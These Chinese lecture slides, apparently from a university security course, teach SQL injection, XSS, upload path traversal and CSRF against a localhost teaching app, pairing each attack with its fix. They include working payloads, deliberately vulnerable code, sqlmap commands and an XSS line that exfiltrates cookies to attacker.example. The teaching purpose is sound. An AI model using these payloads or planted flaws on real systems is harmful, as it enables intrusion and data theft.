第三单元:Web 漏洞攻防

【道】【术】【器】【造器】—— SQLi · XSS · 上传 · CSRF

黄玮

2026-秋

主题 0:如何攻破一个 Web 应用?

问题引入:如何攻破一个 Web 应用?

「如何攻破一个 Web 应用?」——不是一道选择题,是综合实践项目(capstone)M3 的全部。

  • 上一单元(U2)你已「看清自己」:监听、扫描、指纹、暴露面清单
  • 这一单元开始「动手」:对你自己的靶场逐类拆解 Web 漏洞
  • Web 应用 = 用户输入直达后端最危险的入口:表单、URL、上传、跨站请求
  • 攻防同一套原理:懂怎么进,才知道怎么堵——M3 的概念验证(PoC)就是 M4 加固的弹药

攻击杀伤链速览(第 6 章浓缩)

  • 侦察(U2)扫描枚举获取访问维持访问掩盖痕迹目标达成
  • 本单元聚焦中段「获取访问 / 维持访问」:靠的是 Web 层漏洞
  • 杀伤链是通用方法论;具体每一环用什么技术,由目标「指纹」(U2 产出)决定

杀伤链的每一步都对应一个「为什么」。本课件只补「做 M3 所需」最小集,深度理论见 https://github.com/c4pr1c3/cuc-ns-ppt/blob/master/chap0x06.md

本单元地图(3 学时 · ~30 slides · 最大单元)

  1. 【道】 注入本质:数据即程序(元范式,呼应 U6)
  2. 【术】 SQL 注入:原理 → 利用 → sqlmap → 参数化修复
  3. 【术】 XSS:反射 / 存储 / DOM 三型 → 窃 cookie → 编码防御

本单元地图(续):上传 / CSRF / 落地

  1. 【术】 文件上传:二次解释原理 → 路径穿越 / 同源 XSS 双链 → 修复
  2. 【术】 CSRF:自动带 cookie → 概念验证 → SameSite/Token
  3. 【器→造器】 sqlmap / Burp / curl → 衔接实验 M3:≥4 类概念验证 + 复现

能力框架对应

  • 簇 ③「攻击与渗透」· L2(U3 的核心交付级)
    • L1:复述 SQLi/XSS/上传/CSRF 原理与危害(题库
    • L2:发现并利用 ≥4 类 Web 漏洞,每类写概念验证 + 复现(M3)
    • L3:编排多阶段攻击链 + 自动化利用框架(U4/M7 延伸)
  • 本单元实验 = 综合实践项目 M3(权重 12%),证据就是你提交的 4 份概念验证

主题 1:【道】注入的本质——数据即程序

注入的根因:代码与数据混淆

一句话:当「数据」被解释器当成「代码」执行,注入就发生了。

  • 解释型语言(SQL / Shell / HTML/JS / 模板)都靠字符串拼接把数据送进解释器
  • 如果用户的输入未经隔离地进入拼接,用户就能「越权改写程序语义
  • 这条根因一通百通:SQL 注入、命令注入、XSS、LDAP 注入、模板注入……乃至 U6 的提示词注入,本质完全相同

漏洞 = 根因 → 后果链

  • 根因:字符串拼接用户输入(无隔离、无转义、无类型约束)
  • 触发条件:输入可达解释器、且解释器对「特殊字符」赋予了语义(' ; < & 等)
  • 利用:构造攻击载荷(payload)让解释器「改变原意」(闭合引号、追加语句、跳出数据上下文)
  • 后果:信息泄露 / 篡改 / 越权 / RCE(取决于「逃逸后能干什么」)

修任何一个注入类漏洞,都是把「数据」和「代码」重新隔开——具体手法各异(参数化、编码、白名单),但隔离这个元范式不变。

元范式预告:呼应 U6 提示词注入

  • LLM 把「自然语言」既当指令、又当数据 → 提示词注入(Prompt Injection)
  • 与 SQL 注入同构:用户输入「越权改写」了系统提示词的语义
  • 道相同,器不同:U3 用参数化隔离 SQL;U6 要研究如何隔离「指令」与「数据」——目前仍是开放难题
  • 记住这条元范式,U6 就不慌

主题 2:【术】SQL 注入

原理:种子工程 /orders?user= 的拼接

# capstone/seed/app.py:72 —— 故意预留的注入点
user = request.args.get("user", session["user"])
q = f"SELECT id, item FROM orders WHERE user = '{user}'"   # ⚠️ f-string 拼接
rows = db().execute(q).fetchall()
  • user 来自 URL 参数,未做任何隔离就被插进 SQL 字符串

原理(续):拼接如何改变语义

  • 正常:/orders?user=alice... WHERE user = 'alice'
  • 注入:/orders?user=' OR '1'='1... WHERE user = '' OR '1'='1'返回全表

端点还回显了查询语句本身"q": q)——这让你能直观看到攻击载荷如何改变 SQL 语义。

利用一:信息泄露 / dump 全表

# ⚠️ 仅对自己 fork 的应用 / 127.0.0.1 使用
# 用 UNION 把 sqlite_master(表结构)也带出来
curl -b cookie.txt "http://127.0.0.1:5000/orders?user=' UNION SELECT sql,name FROM sqlite_master --"
  • ' 闭合原字符串;-- 注释掉后续的 '
  • UNION SELECT任意表拼进结果集——SQLite 的 sqlite_master 直接吐出建表语句与所有表名
  • 后果:整个数据库的结构(乃至数据)被拖走——机密性(C)崩塌

利用二:篡改数据

# 用 ; 追加一条 UPDATE,把 alice 的订单改掉
curl -b cookie.txt "http://127.0.0.1:5000/orders?user='; UPDATE orders SET item='pwned' WHERE user='alice' --"
  • 一条请求 = 两条 SQL; 分隔),第二条执行任意写操作
  • 后果:完整性(I)崩塌——订单、余额、权限表皆可被改

注意:能否堆叠多语句(stacked queries)取决于驱动;SQLite execute 默认不允许多语句,但很多生产数据库驱动允许——这是为什么 SQLi 危害如此之大。

利用三:越权读他人订单(认证绕过)

# bob 越权读 alice 的订单(绕过 WHERE 限定)
curl -b cookie.txt "http://127.0.0.1:5000/orders?user=alice' --"
  • 应用本意「只返回当前登录用户的订单」,但 user 参数可控 → 改成任意用户名
  • 等价于 IDOR + SQLi 组合:认证(你是 bob)≠ 授权(你只能看自己的)
  • 后果:水平越权——任何用户都能看任何人的数据

工具化:sqlmap(用器)

# ⚠️ 仅对 127.0.0.1 / 自己 fork 的应用
# 自动探测注入点、dump、甚至 os-shell
sqlmap -u "http://127.0.0.1:5000/orders?user=alice" \
       --cookie="session=..." \
       --batch --dbs              # 列所有数据库
sqlmap -u "http://127.0.0.1:5000/orders?user=alice" --dump --tables
  • sqlmap = SQLi 自动化瑞士军刀:探测类型(布尔/时间/UNION/报错)、dump、提权
  • 它把上面手工利用的套路全部脚本化——这就是「用器
  • 但你必须先懂手工原理:否则看不懂 sqlmap 的输出,也不会知道它有没有误报

修复:参数化查询(隔离代码与数据

# capstone/seed/app.py:93 —— M6 端点里的正确写法(M3 要你照搬到 /orders)
db().execute("SELECT id, item FROM orders WHERE user = ?", (user,)).fetchall()
#                                                              ^^^^
#         ? 是占位符;user 作为【参数】传入,永远不会被当成 SQL 代码
  • 参数化(Prepared Statement):? 占位,数据经驱动单独绑定,解释器不解析其为代码
  • 一行改动,根除 SQLi——这就是把「数据」和「代码」隔开的范式
  • 旁路(纵深防御):输入校验、ORM、最小权限账号

永远不要自己写转义函数——参数化是唯一可靠正解。

主题 3:【术】XSS(跨站脚本)

原理:把「我的 JS」塞进「你的页面」

XSS = 攻击者的脚本在受害者的浏览器里、以目标站点的身份执行。

  • 根因同 SQLi:用户输入被原样回显到 HTML,未编码
  • 后果(在受害者浏览器视角):
    • document.cookie / localStorage窃会话
    • 以受害者身份发请求(CSRF 的免密版
    • 改页面、挂马、钓鱼(完整性 / 可用性

XSS 三型:反射 / 存储 / DOM

攻击载荷存在哪 触发方式 危害
反射型 URL 参数 → 回显到页面 诱受害者点链接 中(需诱导)
存储型 写进数据库(评论/留言) 任何人访问即触发 高(持久)
DOM 型 不经过服务器,纯前端 JS 拼接 前端 innerHTML 取 URL 中(绕过 WAF)

反射型 = 「点链接才中招」;存储型 = 「最危险,一个攻击载荷命中所有访问者」;DOM 型 = 服务器看不出问题,纯前端缺陷。

利用:反射型 + 窃 cookie(概念验证)

# ⚠️ 仅对自己 fork 的应用
# 假设 /search?q= 直接回显查询词到页面
curl "http://127.0.0.1:5000/search?q=<script>fetch('//attacker.example/?c='+document.cookie)</script>"
<!-- 受害者点的链接(URL 编码后伪装)-->
https://your-app.example/search?q=%3Cscript%3E...%3C%2Fscript%3E
  • 攻击载荷被服务器原样回显进 HTML → 浏览器当脚本执行 → cookie 外带到攻击者
  • 存储型同理,只是攻击载荷进了数据库,每个访问该页的人都中招

修复:输出编码 + CSP(隔离代码与数据

  • 输出编码(首要):把 < > " ' & 转义成 HTML 实体(&lt; …)→ 浏览器只当文字,不当脚本
    • 模板引擎默认做(Jinja2 的 {{ x }} 自动转义);别用 |safe 除非确信输入可信
  • 输入校验(次要):白名单允许的字符集,不是黑名单
  • CSP(纵深)Content-Security-Policy 限制脚本来源,即使 XSS 成功也加载不出外部 JS

同 SQLi:本质都是「别把数据当代码」。编码 = HTML 层的「参数化」。

主题 4:【术】文件上传漏洞

原理:上传 ≠ 漏洞,「二次解释」才是

上传头像/附件是正常业务功能;漏洞 = 文件落地后被解释器再处理一次。

  • 四种「二次解释」,四种事故:
    • 脚本引擎执行(PHP/ASP webshell)——Flask 栈没有这一层.php/图片马落盘 = 惰性数据
    • 路径拼接解释文件名(os.path.join..)→ 任意文件写
    • 浏览器解释 HTML/JS(同源回源)→ 存储型 XSS
    • 模板引擎渲染被覆盖的模板 → SSTI → RCE
  • 「绕过类型校验成功落盘」≠「可利用」——要验证的是落地之后发生了什么

链 1:文件名路径穿越 → 任意文件写

# 教学锚点:文件名未校验(lab03 任务 C 标准件)
dest = os.path.join("uploads", f.filename)   # "../app.db" 穿出 uploads/
f.save(dest)
# ⚠️ 仅对自己 fork 的应用:multipart 的 filename 完全由客户端控制
curl -b cookie.txt -F "file=@x.txt;filename=../pwn.txt" \
     http://127.0.0.1:5000/profile/upload
  • 判据:文件落在 uploads/ 之外../pwn.txt 出现、../app.db 被改写)= 可利用性成立
  • 影响:完整性/可用性崩塌;覆盖模板文件 → 下次渲染即代码执行(可升级 RCE)
  • 正解:secure_filename()(werkzeug 自带)剥掉路径分量,只留安全文件名

链 2:上传 HTML → 同源回源 = 存储型 XSS

  • 回源 send_from_directory() 按扩展名猜 MIME:上传 xss.htmltext/html 同源返回 = 存储型 XSS
  • 脚本以受害者身份 fetch('/orders?user=...') 外带数据——cookie 自动携带,不用读
  • U1 的另一面:HttpOnly 挡「读 cookie」,挡不住「冒充你发请求」

判据:攻击载荷的执行证据(无头浏览器 + 监听端收到外带数据),不是「上传成功」。

修复 + 跨栈背景

  • 修复四件套:secure_filename + 扩展名白名单 + 随机文件名(文件名是数据,不是路径);回源强制 attachment + nosniff;上传目录移出 Web 可达路径;大小限制
  • 跨栈背景(了解即可):PHP/Apache 的 webshell 链——图片马、多重后缀、解析错配——你的 Flask 靶场不存在这条链,全文见 chap0x07
  • 元范式不变:还是「隔离」——上传内容是纯数据,不给它变成代码/路径的机会

M4 预演:这两条链就是 WAF/IDS 规则要拦的「弹药」。

主题 5:【术】CSRF(跨站请求伪造)

原理:浏览器「自动带 cookie」被滥用

CSRF = 攻击者诱导已登录受害者,让其浏览器带着 cookie发出非本意的请求。

  • 浏览器规则:请求目标域时自动附带该域的 cookie(包括会话 cookie)
  • 攻击者在 evil.com 放一个表单/图片,action 指向 your-app.com/change_password
  • 受害者(已登录 your-app)一访问 evil.com → 浏览器背着 cookie 发了改密请求
  • 后果:以受害者身份执行状态变更(改密、下单、转账)——完整性(I)崩塌

概念验证:诱导改密 / 下单

<!-- evil.com 上的陷阱页:受害者一打开就自动 POST 改密 -->
<form action="http://your-app.example/change_password" method="POST" id="f">
  <input name="new_password" value="hacked">
</form>
<script>document.getElementById('f').submit()</script>
  • 与 XSS 的区别:CSRF 不在目标站注入脚本,而是借浏览器自动带 cookie的机制「冒名」发请求
  • 因此 CSRF 只对状态变更(POST/PUT/DELETE)有效;纯 GET 读数据危害有限

修复:SameSite + Token(隔离来源

  • SameSite cookie(首选,零改造成本)Set-Cookie: session=...; SameSite=Lax → 跨站请求不带 cookie
  • CSRF Token:服务器下发一次性随机 token,表单必须回带;跨站页拿不到 token → 请求被拒
  • 校验 Origin/Referer:只接受来自本站的请求
  • 不要用 GET 改状态:所有写操作走 POST + 二次确认

CSRF 的元范式不是「隔离代码与数据」,而是「隔离请求来源」——验证「这请求真的是你主动发的吗」。

主题 6:【器】工具谱系(用器 → 造器)

攻击侧工具:sqlmap / Burp / curl

工具 擅长 用器层级
curl 手工构造任意请求(最快验证攻击载荷) L1/L2(基本功)
sqlmap SQLi 自动化(探测/dump/os-shell) L2(用器)
Burp Suite / Yakit 全站抓包、改包、重放、扫描 L2(用器)
浏览器 DevTools XSS/CSRF 调试、看 cookie/CSP L2(用器)

Yakit 是国产安全测试平台(yaklang.io),功能对标 Burp,课程国产优先推荐

从「用器」到「造器」(L2 → L3)

  • 用器(M3 要求):会用 sqlmap/Burp 复现 ≥4 类漏洞、读懂输出、写概念验证
  • 造器(L3,U4/M7 延伸):
    • 把攻击载荷编排成多阶段攻击链(如 SQLi dump → 拿管理员 hash → 越权 → 植入存储型 XSS → 持久化)
    • 自动化利用脚本(调用 sqlmap -oX 产物 + 自定义攻击载荷字典)
    • 乃至造一个迷你 WAF(U4)来挡住自己的概念验证——攻防一体

M3 只要求到「用器」。但请你带着「造器」的意识去用:每个攻击载荷都问一句「这能脚本化吗、能串起来吗」。

主题 7:【造器】衔接实验 M3

实验 M3:≥4 类概念验证 + 复现步骤

docs/m3/
├── sqli-poc.*       # 任务 A:/orders?user= 注入,dump/篡改/越权
├── xss-poc.*        # 任务 B:反射/存储,窃 cookie
├── upload-poc.*     # 任务 C:路径穿越 / 同源存储 XSS(至少一链)
├── csrf-poc.*       # 任务 D:跨站改密/下单
└── report.md        # 每类:原理 + 触发条件 + 影响 + 复现 + 自评
  • milestone/m2milestone/m3,MR 目标 = milestone/m2Git 指南
  • 任务 F(选做):SSTI 模板注入({{7*7}}{{config}}),深度档加分项

详见 labs/lab03-web-offense.md

AI 辅助渗透(任务 E · 可选 · 对比不替代)

  • PentestGPT国产安全大模型跑一遍 M3 靶场
  • 与人工对比:命中数 / 误报数 / 耗时——给数字,不给空话
  • ⚠️ 不替代人工概念验证,仅作对比;用 AI 须注明范围 + 人工复核;禁止国外大模型
  • 这是 U6「AI 赋能安全」的提前埋伏——M3 给你一个真实基准去衡量 AI 渗透

复现步骤的写法(自检)

# 1) 起 M3 末的靶场(127.0.0.1:5000)
flask --app app run --port 5000
# 2) 登录拿 cookie(你的应用,你的账号)
curl -c cookie.txt -d "user=alice&pass=..." http://127.0.0.1:5000/login
# 3) 打 SQLi(仅 127.0.0.1)
curl -b cookie.txt "http://127.0.0.1:5000/orders?user=' UNION SELECT sql,name FROM sqlite_master --"
# 4) 预期:回显里能看到 orders 表结构 + 其他表名
  • 复现脚本里所有目标地址只能是 127.0.0.1——这是 AI 助教的硬核验项
  • 自检关键词覆盖:git grep -hoiE 'sql[iI]?|XSS|文件?上传|upload|CSRF' milestone/m3 -- '*.md' | sort -u | wc -l ≥ 4

主题 8:收尾

能力自评:本单元点亮簇 ③「攻击与渗透」

能力描述 自评勾选
L1 复述 SQLi/XSS/上传/CSRF 原理与危害 ☐ 题库达标
L2 发现并利用 ≥4 类 Web 漏洞,每类写概念验证 + 复现 M3 交付
L3 编排多阶段攻击链 + 自动化利用框架 ☐ U4/M7 延伸

⚠️ 红线:仅 127.0.0.1 / 自己派生的应用(攻击侧单元,硬性红线

  • 所有概念验证、所有攻击载荷 仅指向 127.0.0.1 或你自己派生的靶场
  • 禁止对任何真实 / 第三方系统做未授权测试——即便「只是看看」也是红线
  • 报告须显式声明授权范围;触及第三方 = 安全严谨维度直接不合格 + 上报
  • 课程不教授编写恶意代码;这些工具同时是防御自查手段

小结:今天带走的三件事

  1. 【道】 注入本质 = 数据被当代码执行;隔离是统一解药(SQLi/XSS/上传 通用,并预告 U6 提示词注入)
  2. 【术】 四类 Web 漏洞各有「根因 → 利用 → 修复」三段:SQLi 参数化、XSS 编码、上传防二次解释(路径 + 回源)、CSRF 隔离来源
  3. 【造器】 实验 M3 要你交 ≥4 类概念验证 + 复现步骤,仅打 127.0.0.1——这些概念验证就是 M4 加固的弹药

深度理论:https://github.com/c4pr1c3/cuc-ns-ppt/blob/master/chap0x06.md(方法论/杀伤链)、https://github.com/c4pr1c3/cuc-ns-ppt/blob/master/chap0x07.md(Web 漏洞全谱,按需自学)。

下一单元 U4:防御与加固

  • M3 你把应用「打穿」了;U4/M4 给它套上纵深防御:WAF / IDS / 最小权限 / 安全配置
  • M3 的概念验证 = M4 规则的命中样本:没有攻击侧证据,WAF 规则就是盲盒(命中谁、误报谁,全靠你造的弹药验证)——攻防两侧都用证据说话,这正是贯穿范式「可观测与可验证的安全」
  • 然后是 U5(检测/取证/蜜罐)、U6(AI×网络安全,核心 30%)——回到本单元埋下的「提示词注入」元范式